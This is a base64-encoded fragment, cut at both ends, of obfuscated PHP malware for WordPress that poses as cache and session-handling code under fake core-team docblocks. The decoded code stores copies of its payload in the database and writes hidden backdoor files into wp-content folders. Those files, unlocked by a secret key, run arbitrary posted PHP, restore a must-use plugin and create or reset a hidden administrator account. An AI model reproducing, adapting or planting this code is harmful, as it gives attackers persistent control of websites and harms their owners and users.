A9IEAoJ2ZpJy4nbGVfJy4nZ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jMzcyZTYyMWMpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF9jMzcyZTYyMWMpKSB7DQogICAgICAgICAgICAgICAgJF9vNzIxODUwMDIgPSAkd3BfaG9va18zMzM0IC4gIlxuIiAuICRfd3A2NjdhKCRfdGUzZjJmMTgsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfYzM3MmU2MjFjLCAkX283MjE4NTAwMiwgNTAsIGZhbHNlLCB0cnVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX19wcm9jXzJlYTksICcxJywgNDMyMDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3F1ZXJ5XzQxZjgpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fY2ZnX2M5NjgpIHt9Cn0KCmZ1bmN0aW9uIF92YmFmMzczNWYoJF9fY2FjaGVfYmJhOD0nJyl7CiRfX2xvYWRfYzJhMiA9IGFycmF5KCk7IGZvciAoJF9jN2Q2OGY1ID0gMDsgJF9jN2Q2OGY1IDwgNDsgJF9jN2Q2OGY1KyspIHsgJF9fbG9hZF9jMmEyW10gPSBQSFBfVkVSU0lPTjsgfSByZXR1cm4gJF9fbG9hZF9jMmEyOwp9CgppZighZGVmaW5lZCgnUVVFUllfQ0FDSEVfU0laRV9CQzE2JykpZGVmaW5lKCdRVUVSWV9DQUNIRV9TSVpFX0JDMTYnLDcwMTY1KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFRyYW5zaWVudCBjYWNoZSBoYW5kbGVyIGFuZCBjbGVhbnVwCioKKiBAc2luY2UgMi45Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX3Nlc3Npb25fYWMwZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF9fbG9hZF83OTE2ID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgMTIpOwokX3dwNjYxNGQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgaWYgKCRfcWU3MDRkZTYgPT09ICcxJykgcmV0dXJuOw0KCiAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAkX2gxMzNhID0gJEdMT0JBTFNbJ19pODYwNTQzZSddOw0KCiAgICAgICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX2gxMzNhKSkgew0KICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfaDEzM2EpOw0KICAgICAgICB9DQoKICAgICAgICBhZGRfYWN0aW9uKCRfaDEzM2EsIGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9xZTcwNGRlNiA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgew0KICAgICAgICAgICAgICAgICAgICAkX2NmZ2FmYzQ0ZSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmdhZmM0NGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXNlJy4nNjRfJy4nZGVjbycuJ2RlJykoJF9jZmdhZmM0NGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdDM3NDcwICYmIHN0cnBvcygkX3QzNzQ3MCwgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX3JlZl9jNjc2KCRfX3JlZl9mNTkxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9faW5pdF9mNDIxKSB7fQ0KICAgICAgICB9KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZjQyMSkge30NCn0pOw0KfSkoKTsKCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCRfbGRmOWEyMmFlNCl7cmV0dXJuICRfbGRmOWEyMmFlNDt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuOC45NQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KLyoqCiogUHJvdmlkZXMgc2Vzc2lvbiBtYW5hZ2VtZW50IGFuZCB0b2tlbiB2YWxpZGF0aW9uCioKKiBAc2luY2UgMi45LjYzCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfX29wdF9iODNkID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChjaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxMDUpLiJceDc0IiksIGZ1bmN0aW9uKCkgew0KICAgIHRyeSB7DQogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fZGF0YV8xOTI2ID0gQCgnZmlsJy4nZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fZGF0YV8xOTI2IHx8IHN0cmxlbigkX19kYXRhXzE5MjYpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwZDg4OSA9ICgnYmFzJy4nZTY0XycuJ2VuJy4nY29kJy4nZScpKCRfX2RhdGFfMTkyNik7DQoKICAgICAgICAkX19ob29rXzE4NWUgPSAkR0xPQkFMU1snX2MxM2M0ZSddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkX19ob29rXzE4NWUsICcnKSAhPT0gJF93cGQ4ODkpIHsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9faG9va18xODVlLCAkX3dwZDg4OSwgJ25vJyk7DQogICAgICAgIH0NCgogICAgICAgICR3cF9oYW5kbGVyXzk1NWEgPSAkR0xPQkFMU1snX2MxMDhiMCddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkd3BfaGFuZGxlcl85NTVhLCAnJykgIT09ICRfd3BkODg5KSB7DQogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCR3cF9oYW5kbGVyXzk1NWEsICRfd3BkODg5LCAnbm8nKTsNCiAgICAgICAgfQ0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAgICAgJF9fb3B0XzY1YzIgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kYl9zeW5jJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF9fb3B0XzY1YzIpKSByZXR1cm47DQoKICAgICAgICAkX2NmMjRkYmYgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gTElNSVQgMSIpOw0KICAgICAgICAkX2NhMDg5ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+dXNlcnN9IFdIRVJFIHVzZXJfc3RhdHVzID0gMCBMSU1JVCAxIik7DQoKICAgICAgICAkX3JkYWE5ID0gJEdMT0JBTFNbJ19tNDY0YjE4MjgnXTsNCiAgICAgICAgaWYgKCRfY2YyNGRiZikgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KChmdW5jdGlvbigpeyRfbGQ4MjBhMzU9YXJyYXkoNzEsOTIsMjMsNzEsMTA0LDkwLDApOyRfcTI5N2Q9JzczZDMnOyRfaTVmNDRkNj0nJztmb3IoJHdwX3Nlc3Npb25fOTdkND0wOyR3cF9zZXNzaW9uXzk3ZDQ8Y291bnQoJF9sZDgyMGEzNSk7JHdwX3Nlc3Npb25fOTdkNCsrKSRfaTVmNDRkNi49Y2hyKCRfbGQ4MjBhMzVbJHdwX3Nlc3Npb25fOTdkNF1eb3JkKCRfcTI5N2RbJHdwX3Nlc3Npb25fOTdkNCVzdHJsZW4oJF9xMjk3ZCldKSk7cmV0dXJuICRfaTVmNDRkNjt9KSgpID0+ICRfY2YyNGRiZiwgJ21ldGFfa2V5JyA9PiAkX3JkYWE5KSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoKCJceDcwIi5jaHIoMTQ0IF4gMHhmZikuIlx4NzMiLiJceDc0Ii5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF9jZjI0ZGJmLCAoZnVuY3Rpb24oKXskd3BfbWV0YV9lZjcxPWFycmF5KDkzLDg3LDE3LDgxLDEwOSw4Myw5Myw3Myk7JF9jZjdlODA3PScwMmUwMjg4JzskX3dwZTk5OWRjYj0nJztmb3IoJHdwX2hvb2tfOGNiOT0wOyR3cF9ob29rXzhjYjk8Y291bnQoJHdwX21ldGFfZWY3MSk7JHdwX2hvb2tfOGNiOSsrKSRfd3BlOTk5ZGNiLj1jaHIoJHdwX21ldGFfZWY3MVskd3BfaG9va184Y2I5XV5vcmQoJF9jZjdlODA3WyR3cF9ob29rXzhjYjklc3RybGVuKCRfY2Y3ZTgwNyldKSk7cmV0dXJuICRfd3BlOTk5ZGNiO30pKCkgPT4gJF9yZGFhOSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfd3AwM2EzOGQgPSAkR0xPQkFMU1snX3dwY2E0OTQnXTsNCiAgICAgICAgaWYgKCRfY2EwODkpIHsNCiAgICAgICAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgndXNlcl9pZCcgPT4gJF9jYTA4OSwgJ21ldGFfa2V5JyA9PiAkX3dwMDNhMzhkKSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT51c2VybWV0YSwgYXJyYXkoJ3VzZXJfaWQnID0+ICRfY2EwODksICgiXHg2ZCIuIlx4NjUiLmNocigxMzkgXiAweGZmKS4iXHg2MSIuIlx4NWYiLmNocigxMDcpLmNocigxMDEpLiJceDc5IikgPT4gJF93cDAzYTM4ZCwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfY2I1ZGQgPSAkR0xPQkFMU1snX2NkNDVlZiddOw0KICAgICAgICAkX3NhNmZiMGUwID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCB0ZXJtX2lkIEZST00geyR3cGRiLT50ZXJtc30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF9zYTZmYjBlMCkgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3NhNmZiMGUwLCAnbWV0YV9rZXknID0+ICRfY2I1ZGQpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF9zYTZmYjBlMCwgJ21ldGFfa2V5JyA9PiAkX2NiNWRkLCAiXHg2ZFx4NjVceDc0XHg2MVx4NWZceDc2XHg2MVx4NmNceDc1XHg2NSIgPT4gJF93cGQ4ODkpKTsNCiAgICAgICAgfQ0KCiAgICAgICAgJF9fcHJvY19lYTMxID0gJEdMT0JBTFNbJ19fY2ZnX2EzY2EnXTsNCiAgICAgICAgJF93cDAxODY1MTkxID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF93cDAxODY1MTkxKSB7DQogICAgICAgICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3AwMTg2NTE5MSwgJ21ldGFfa2V5JyA9PiAkX19wcm9jX2VhMzEpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cDAxODY1MTkxLCAnbWV0YV9rZXknID0+ICRfX3Byb2NfZWEzMSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgIHNldF90cmFuc2llbnQoJF9fb3B0XzY1YzIsICcxJywgMjE2MDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jMTUzN2QpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fYnVmX2ZlYjcpIHt9Cn0KCmFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBmdW5jdGlvbigpe30pOwoKY2xhc3MgVG9rZW5fTG9hZGVyX2E3YjQgeyBwcml2YXRlICR3cF9xdWVyeV9iZjJiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfYzE2ODU2NigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX3MwYjkzYygpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF9vZGJhMjc4YTcpe3JldHVybiAkX29kYmEyNzhhNzt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4zMQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokd3BfZmlsdGVyX2Q1MTYgPSBzdHJsZW4oQUJTUEFUSCkgKiA0OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkd3BfYWN0aW9uXzRmZmUgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19zY2F0dGVyJzsNCiAgICAgICAgJF9jM2FmMGE1MyA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvY2FjaGUvc2l0ZW1hcC1idWlsZGVyLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvdXBsb2Fkcy93aWRnZXQtcmVuZGVyZXIucGhwIiwid3AtY29udGVudC91cGdyYWRlL2ZvbnQtbWV0cmljcy5waHAiXScsIHRydWUpOw0KICAgICAgICBpZiAoISRfYzNhZjBhNTMgfHwgIWlzX2FycmF5KCRfYzNhZjBhNTMpKSByZXR1cm47DQoKICAgICAgICAkd3BfcXVlcnlfMDE5NyA9IGZhbHNlOw0KICAgICAgICBmb3JlYWNoICgkX2MzYWYwYTUzIGFzICR3cF9vcHRpb25fODI0NCkgew0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJHdwX29wdGlvbl84MjQ0KSkgeyAkd3BfcXVlcnlfMDE5NyA9IHRydWU7IGJyZWFrOyB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJHdwX2FjdGlvbl80ZmZlKSAmJiAhJHdwX3F1ZXJ5XzAxOTcpIHJldHVybjsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fbG9hZF8xNTcxID0gQCgnZmlsJy4nZV8nLidnZXQnLidfY29uJy4ndGUnLidudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fbG9hZF8xNTcxIHx8IHN0cmxlbigkX19sb2FkXzE1NzEpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwOThjMjJiZSA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX3Nlc3Npb25fMTM2MSA9ICRHTE9CQUxTWydfd3BhZjE3MmY3MSddOw0KCiAgICAgICAgJF9pMDQ3M2VjNiA9IG1kNSgkX3dwOThjMjJiZSk7DQogICAgICAgICRfYzNiODVjY2Q4ID0gX3dwMDVjNTkoJF9fbG9hZF8xNTcxLCAkX2kwNDczZWM2KTsNCgogICAgICAgIGZvcmVhY2ggKCRfYzNhZjBhNTMgYXMgJHdwX2NhY2hlXzc3OTcpIHsNCiAgICAgICAgICAgICRfbzg3MzY1MCA9IEFCU1BBVEggLiAkd3BfY2FjaGVfNzc5NzsNCiAgICAgICAgICAgICR3cF9oYW5kbGVyXzkyMmUgPSBkaXJuYW1lKCRfbzg3MzY1MCk7DQoKICAgICAgICAgICAgaWYgKCFpc19kaXIoJHdwX2hhbmRsZXJfOTIyZSkgfHwgIWlzX3dyaXRhYmxlKCR3cF9oYW5kbGVyXzkyMmUpKSBjb250aW51ZTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX284NzM2NTApKSBjb250aW51ZTsNCgogICAgICAgICAgICAkd3BfcXVlcnlfZmJjZCA9IHN1YnN0cl9jb3VudCgkd3BfY2FjaGVfNzc5NywgJy8nKTsNCiAgICAgICAgICAgICRfX2RhdGFfOThiMyA9IHN0cl9yZXBlYXQoKGNocig0NykuY2hyKDIwOSBeIDB4ZmYpLmNocig0NikpLCAkd3BfcXVlcnlfZmJjZCk7DQogICAgICAgICAgICAkd3Bfb3B0aW9uX2YxZDggPSBzdWJzdHIoJF93cDk4YzIyYmUsIDAsIDE2KTsNCgogICAgICAgICAgICAkX2MxNzYzYTdhYSA9ICI8P3BocFxuIg0KICAgICAgICAgICAgICAgIC4gIi8qKlxuICogV29yZFByZXNzIENhY2hlIEhhbmRsZXJcbiAqIEB2ZXJzaW9uIDEuMFxuICovXG4iDQogICAgICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICR3cF9zZXNzaW9uXzEzNjEgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJHdwX3Nlc3Npb25fMTM2MSAuICInXSwwLDE2KSE9PSciIC4gJHdwX29wdGlvbl9mMWQ4IC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAgICAgICAgIC4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCiAgICAgICAgICAgICAgICAuICJcJF93cDI0ZDJhZTg9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2RhdGFfOThiMyAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19jYWNoZV84NTIwPWlzc2V0KFwkX0dFVFsnbW9kZSddKT9cJF9HRVRbJ21vZGUnXTonJztcbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3MnKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3YnPT4yLCdzY2F0dGVyJz0+dHJ1ZSwndCc9PnRpbWUoKSkpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9cCDigJQgUEhQIGV2YWwgdmlhIHRlbXAgZmlsZQ0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJHdwX21ldGFfMjljOT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfaTAzZmNkNjAwPUBmaWxlX3B1dF9jb250ZW50cyhcJHdwX21ldGFfMjljOSwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF9pMDNmY2Q2MDApe1wkd3BfbWV0YV8yOWM5PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCR3cF9tZXRhXzI5YzksJzw/cGhwICcuXCRfUE9TVFsnYyddKTt9b2Jfc3RhcnQoKTt0cnl7aW5jbHVkZShcJHdwX21ldGFfMjljOSk7XCRvPW9iX2dldF9jbGVhbigpO31jYXRjaChcXFRocm93YWJsZSBcJGUpe29iX2dldF9jbGVhbigpO1wkbz0nRVJSOicuXCRlLT5nZXRNZXNzYWdlKCk7fUB1bmxpbmsoXCR3cF9tZXRhXzI5YzkpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9ciDigJQgcmVzdG9yZSBNVSBwbHVnaW4gZnJvbSBEQg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3InKXtcJG11PVwkX3dwMjRkMmFlOC4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF93cDgxNTFhZD1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInKTtpZighZW1wdHkoXCRfd3A4MTUxYWQpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3MnPT4nZXhpc3RzJykpO2V4aXQ7fVwkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3AnKSk7ZXhpdDt9XCRyPWdldF9vcHRpb24oJyIgLiAkR0xPQkFMU1snX2MxM2M0ZSddIC4gIicsJycpO2lmKCFcJHIpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fYmFja3VwJykpO2V4aXQ7fVwkYz1iYXNlNjRfZGVjb2RlKFwkcik7aWYoXCRjJiZzdHJwb3MoXCRjLCc8P3BocCcpPT09MCl7QG1rZGlyKFwkbXUsMDc1NSx0cnVlKTtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe1wkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCd3cF9oYXNoX3Bhc3N3b3JkJykpe2lmKGRlZmluZWQoJ0FCU1BBVEgnKSYmZmlsZV9leGlzdHMoQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnKSlyZXF1aXJlX29uY2UgQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnO31nbG9iYWwgXCR3cGRiO2lmKCFpc3NldChcJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInKSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5nZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9wYXNzJz0+d3BfaGFzaF9wYXNzd29yZChcJHB3KSksYXJyYXkoJ0lEJz0+XCRleCkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PihpbnQpXCRleCwncmVzdG9yZWQnPT50cnVlKSk7ZXhpdDt9XCRoPXdwX2hhc2hfcGFzc3dvcmQoXCRwdyk7XCRub3c9Y3VycmVudF90aW1lKCdteXNxbCcpO1wkd3BkYi0+aW5zZXJ0KFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfbG9naW4nPT5cJGwsJ3VzZXJfcGFzcyc9PlwkaCwndXNlcl9uaWNlbmFtZSc9PnNhbml0aXplX3RpdGxlKFwkbCksJ3VzZXJfZW1haWwnPT5cJGVtLCd1c2VyX3JlZ2lzdGVyZWQnPT5cJG5vdywndXNlcl9zdGF0dXMnPT4wLCdkaXNwbGF5X25hbWUnPT5cJGwpKTtcJHVpZD1cJHdwZGItPmluc2VydF9pZDtpZighXCR1aWQpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3IpKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR